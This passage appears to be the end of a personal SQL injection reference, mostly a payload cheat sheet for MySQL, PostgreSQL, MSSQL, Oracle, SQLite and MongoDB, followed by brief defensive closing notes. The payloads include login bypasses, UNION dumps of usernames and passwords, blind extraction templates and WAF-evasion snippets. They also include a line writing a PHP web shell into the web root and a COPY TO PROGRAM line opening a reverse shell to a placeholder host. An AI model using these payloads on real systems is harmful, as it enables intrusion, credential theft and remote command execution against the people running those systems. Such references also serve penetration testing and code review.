- Fuzz every write endpoint with marker payloads, then operate every read path to catch second-order issues.
23. Payload Quick Reference#
23.1 Entry-point probes#
' " ` ; ) *
' OR '1'='1
' OR 1=1 -- -
" OR "" = "
') OR ('1'='1
1 AND 1=1
1 AND 1=2
1 AND SLEEP(5)
23.2 Comment variants#
-- --+ -- - # /*comment*/ ;%00
23.3 Auth bypass one-liners#
' OR 1=1 LIMIT 1 --
admin' --
admin'--
admin'/*
" OR "1"="1" --
') OR '1'='1
' UNION SELECT 1, 'admin', 'pass' --
23.4 Union column count#
' ORDER BY 1 --
' ORDER BY 2 --
' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --
23.5 MySQL cheat block#
' UNION SELECT @@version,user(),database() --
' UNION SELECT GROUP_CONCAT(table_name),2,3 FROM information_schema.tables WHERE table_schema=database() --
' UNION SELECT GROUP_CONCAT(column_name),2,3 FROM information_schema.columns WHERE table_name='users' --
' UNION SELECT GROUP_CONCAT(username,0x3a,password),2,3 FROM users --
' AND SLEEP(5) --
' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --
' UNION SELECT LOAD_FILE('/etc/passwd'),2,3 --
' UNION SELECT '<?php system($_GET[c]);?>',2,3 INTO OUTFILE '/var/www/html/s.php' --
23.6 PostgreSQL cheat block#
' UNION SELECT version(),current_user,current_database() --
' || pg_sleep(5) || '
'; SELECT pg_sleep(5) --
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATT/443 0>&1"' --
' AND 1=CAST((SELECT current_user) AS INT) --
23.7 MSSQL cheat block#
' UNION SELECT @@VERSION,SYSTEM_USER,DB_NAME() --
'; WAITFOR DELAY '0:0:5' --
'; EXEC xp_cmdshell 'whoami' --
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE --
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U')) --
23.8 Oracle cheat block#
' UNION SELECT banner,NULL,NULL FROM v$version --
' UNION SELECT table_name,NULL,NULL FROM all_tables --
' || (SELECT user FROM dual) || '
' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5) IS NOT NULL --
' AND 1=UTL_INADDR.get_host_name((SELECT user FROM dual)) --
23.9 SQLite cheat block#
' UNION SELECT sqlite_version(),NULL,NULL --
' UNION SELECT name,sql,NULL FROM sqlite_master --
' AND 1=LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(500000000)))) --
23.10 WAF-bypass snippets#
/*!50000UNION*/ /*!50000SELECT*/ 1,2,3
UNION/**/SELECT/**/1,2,3
UNION(SELECT(1),(2),(3))
%27%20UNION%20SELECT%201,2,3--
%2527%2520UNION%2520SELECT%25201,2,3--
' oR '1'='1
' /*!or*/ 1=1--
' or JSON_LENGTH('{}')<=1 UNION DISTINCTROW SELECT @@version #
?id=1&id=' UNION SELECT 1,2,3--
23.11 NoSQL cheat block#
# Mongo login bypass (JSON)
{"username":{"$ne":null},"password":{"$ne":null}}
{"username":"admin","password":{"$gt":""}}
# Mongo query-string bypass
username[$ne]=x&password[$ne]=x
username[$regex]=^adm&password[$ne]=x
# Mongo $where JS
{"$where":"this.username=='admin' && sleep(5000)"}
23.12 Second-order markers#
user1'; --
test''DROP
z1z"'--<>
admin'--
foo\0bar
Register with each, then operate every app flow; monitor DB error logs.
23.13 Blind bisection template#
' AND ASCII(SUBSTRING((SELECT PASSWORD FROM users WHERE id=1),{pos},1))>{mid} --
Wrap in a binary search: lo=32, hi=126, narrow until lo==hi.
Closing notes#
SQL injection is a solved problem at the language level — parameterized queries, per-role DB accounts, disabled dangerous primitives, and JSON-aware WAFs close almost all of it. It is an unsolved problem in the field because escape hatches exist in every framework, appliances still ship hand-rolled query builders, audit/log paths are under-tested, and “just add a WAF” continues to substitute for fixing the sink.
When reviewing code, chase every string-concatenated SQL, every raw/native/unsafe ORM call, every ORDER BY that takes user input, every header that lands in an INSERT, and every data flow where data written safely is read back unsafely. When testing a running system, rotate through in-band, blind, time-based, OOB, and JSON-body contexts before declaring a parameter clean, and keep a second-order marker in every write you make.
Defensive reference — compiled from 33 clipped research sources under ~/Documents/obsidian/chs/raw/SQLi/.